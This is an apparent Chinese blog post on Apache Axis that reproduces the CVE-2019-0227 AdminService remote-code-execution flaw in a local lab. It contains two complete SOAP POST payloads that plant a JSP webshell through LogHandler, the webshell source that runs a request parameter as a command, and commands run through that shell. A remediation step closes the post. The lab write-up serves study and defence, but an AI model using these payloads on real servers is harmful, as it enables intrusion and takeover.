• 开发知识点-Apache Axis2框架


    在这里插入图片描述

    
    Apache Axis2是一个开源的Web服务框架,提供了一种灵活、可扩展的方式来构建和部署Web服务。它是Apache Software Foundation(ASF)的一个顶级项目,是Apache Axis的后继版本。
    
    Axis2的主要特点和功能包括:
    
    1. Web服务支持:Axis2支持多种Web服务标准,包括SOAP(Simple Object Access Protocol)、WSDL(Web Services Description Language)、XML等。它可以用于开发和部署各种类型的Web服务,如基于SOAP的Web服务、RESTful风格的Web服务等。
        
    2. 可扩展性和灵活性:Axis2采用了模块化的架构,使得开发者可以方便地添加、移除或替换各种功能模块,以满足不同的需求。它提供了丰富的扩展点和API,可以进行高度定制和灵活的配置。
        
    3. 支持多种传输协议:Axis2支持多种传输协议,如HTTP、HTTPS、SMTP等,使得Web服务能够在不同的网络环境和协议之间进行通信。
        
    4. 数据绑定和序列化:Axis2提供了数据绑定和序列化的功能,可以将Java对象与XML或其他格式之间进行转换。它支持各种数据绑定技术,如XMLBeans、JiBX等,以满足不同的需求。
        
    5. 安全性支持:Axis2提供了一系列安全性功能,包括消息加密、数字签名、身份验证和授权等。它可以与各种安全框架集成,如Apache Rampart、Spring Security等,以实现更强大的安全性需求。
        
    6. 工具支持:Axis2提供了丰富的工具和插件,用于辅助开发和部署Web服务。其中包括代码生成工具、调试工具、性能分析工具等,使开发者能够更高效地进行开发和调试。
    
    
    
    https://xz.aliyun.com/t/7981
    
    axis 1.4 AdminService未授权访问 jndi注入利用
    
    
    https://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246193&idx=2&sn=f730600f904b7510beae16801ebdca61&chksm=82ea5798b59dde8ed8ae2090c16222304039a45c14fa3bef1ae09b4521761b10cada641c34b0&scene=27
    任意文件读取漏洞的曲折历程 
    
    
    https://blog.csdn.net/gmaaa123/article/details/122449013
    WebService之Axis2 Log4j 2.x 漏洞
    
    Axis  getshell
    https://blog.csdn.net/weixin_44578334/article/details/112233313
    
    
    
    Apache Axis2 XXE漏洞(CVE-2018-8032):影响范围是Axis2 1.7.7及之前版本。该漏洞的原因是Axis2在处理XML输入时没有正确地限制外部实体的解析,攻击者可以通过构造特殊的XML文档,导致信息泄露或拒绝服务 。
    Apache Axis2反序列化漏洞(CVE-2010-1632):影响范围是Axis2 1.5.1及之前版本。该漏洞的原因是Axis2在处理SOAP消息时没有正确地验证输入,攻击者可以通过发送包含恶意对象的SOAP消息,触发反序列化漏洞,执行任意代码 。
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38

    在这里插入图片描述

    CVE-2019-0227

    E:\hack\exp\Axis-1.4-RCE-Poc-master
    
    
    
    
    Apache Axis远程代码执行漏洞(CVE-2019-0227)
    影响范围是Axis <= 1.4版本,
    并且enableRemoteAdmin设置为True。
    
    该漏洞的原因是Axis允许远程访问AdminService服务,
    攻击者可以通过发送恶意的HTTP-POST请求,部署一个自定义的WebService,从而实现写文件或执行命令等操作
    
    管理员对AdminService的配置错误。
    当enableRemoteAdmin属性设置为true时,
    攻击者可以构造WebService调用freemarker组件中的template.utility.Execute类,
    远程利用AdminService接口进行WebService发布,再次访问生成的WebService接口,传入要执行的命令,
    就可以进行远程命令执行漏洞的利用。 
    
    
    https://mirrors.tuna.tsinghua.edu.cn/apache/axis/axis/java/1.4/axis-bin-1_4.tar.gz
    下载的axis-bin-1_4.tar.gz压缩包中的webapps目录下的axis目录
    
    拷贝到tomcat的webapps目录下
    
    
    https://mvnrepository.com/search?q=freemarker-2.3.28.jar
    
    下载的freemarker-2.3.28.jar放在axis/WEB-INF/lib目录下
    
    启动tomcat后访问http://localhost:8080/axis
    
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33

    `
    在这里插入图片描述

    `

    需要WEB-INF/web.xml 去掉AdminServlet注释
    
    远程访问复现需要开启服务访问一下,会在WEB-INF下面生成一个server-config.wsdd
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5

    ![在这里插入图片描述](https://img-blog.csdnimg.cn/direct/783494c3937b4adc8af666b37892de09.png)

    需要将文件修改enableRemoteAdmin将false改为true
    
    
    
    • 1
    • 2
    • 3

    `
    在这里插入图片描述

    `

    这样允许远程admin服务
    
    最后重启tomcat
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5

    `
    在这里插入图片描述

    漏洞复现

    手工写入shell
    
    通过services/AdminService 服务部署一个webservice
    
    webservice开启一个写文件服务。
    写入的文件路径是…/webapps/ROOT/shell.jsp,
    注意写入shell位置,也可以修改比如manager,建议在ROOT下
    服务模块的工作路径是bin目录,这里利用相对路径写入ROOT目录,
    
    我们默认IP+port访问的就是ROOT目录,也就是tomcat默认根目录。
    
    
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    `

    在这里插入图片描述

     POST /axis/services/AdminService HTTP/1.1
    Host: 192.168.0.104:8080
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3494.0 Safari/537.36
    SOAPAction: something
    Upgrade-Insecure-Requests: 1
    Content-Type: application/xml
    Accept-Encoding: gzip, deflate
    Content-Length: 1061
    
    <?xml version="1.0" encoding="utf-8"?>
    <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
            xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
            xmlns:xsd="http://www.w3.org/2001/XMLSchema"
            xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
      <soapenv:Body>
        <ns1:deployment
      xmlns="http://xml.apache.org/axis/wsdd/"
      xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
      xmlns:ns1="http://xml.apache.org/axis/wsdd/">
      <ns1:service name="RandomService" provider="java:RPC">
        <requestFlow>
          <handler type="RandomLog"/>
        </requestFlow>
        <ns1:parameter name="className" value="java.util.Random"/>
        <ns1:parameter name="allowedMethods" value="*"/>
      </ns1:service>
      <handler name="RandomLog" type="java:org.apache.axis.handlers.LogHandler" >  
        <parameter name="LogHandler.fileName" value="../webapps/ROOT/shell.jsp" />   
        <parameter name="LogHandler.writeToConsole" value="false" /> 
      </handler>
    </ns1:deployment>
      </soapenv:Body>
    </soapenv:Envelope>
    
    
    调用上一步创建的恶意webservice 写入webshell
    
    
    POST /axis/services/RandomService HTTP/1.1
    Host: 192.168.0.104:8080
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3494.0 Safari/537.36
    Accept-Language: en-US,en;q=0.5
    SOAPAction: something
    Upgrade-Insecure-Requests: 1
    Content-Type: application/xml
    Accept-Encoding: gzip, deflate
    Content-Length: 876
    
    <?xml version="1.0" encoding="utf-8"?>
            <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
            xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
            xmlns:xsd="http://www.w3.org/2001/XMLSchema"
            xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
            <soapenv:Body>
            <api:main
            soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
                <api:in0><![CDATA[
    <%@page import="java.util.*,java.io.*"%><% if (request.getParameter("c") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("c")); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }; p.destroy(); }%>
    ]]>
                </api:in0>
            </api:main>
      </soapenv:Body>
    </soapenv:Envelope>
    
    
    
    返回时500没关系,我们查看一下ROOT下面是否写入shell文件
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71

    在这里插入图片描述
    在这里插入图片描述

    
    ROOT目录下shell文件,有一些Java的类异常报错,因为是log模式。
    
    核心还是写的CMD码
    
    访问一下shell
    
    http://192.168.0.104:8080/shell.jsp
    
    执行一下命令
    
    http://192.168.0.104:8080/shell.jsp?c=ifconfig可以获取系统的信息但是看起来不怎么直观
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    在这里插入图片描述
    在这里插入图片描述
    检查代码

    在这里插入图片描述
    poc脚本写入shell

    python Axis1.4_rce_poc.py http://192.168.0.104:8080/axis/

    访问shell路径:http://192.168.0.104:8080/axis/…/shell.jsp

    在这里插入图片描述
    在这里插入图片描述
    http://192.168.0.104:8080/shell.jsp?c=id

    在这里插入图片描述

    漏洞修复

    关闭admin服务即可,具体方法注释掉web-inf/web.xml 里的AdminServlet,然后重启tomcat.
    
    
        AdminServlet
        /servlet/AdminServlet
       
    
    
    参考:
    https://www.secpulse.com/archives/108937.html
     
    https://github.com/ShimizuKawasaki/Axis-1.4-RCE-Poc 
    
    E:\hack\exp\Axis-1.4-RCE-Poc-master
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    `

  • 相关阅读:
    javascript基础七:说说你对Javascript中作用域的理解?
    住友电工(常州)硬质合金有限公司项目 电力监控系统的设计与应用
    Java - ConcurrentHashMap原理分析
    Fruit-Dataset水果数据集+水果分类识别训练代码(支持googlenet, resnet, inception_v3, mobilenet_v2)
    Linux中的调度策略及其工作
    404 - File or directory not found.
    Leetcode 116. Populating Next Right Pointers in Each Node (BFS 题)
    RHCSA --- Linux系统文件操作
    java实现给图片添加水印(文字水印或图片水印)
    现今主流物联网无线通信技术分类详解
  • 原文地址:https://blog.csdn.net/qq_33608000/article/details/136553867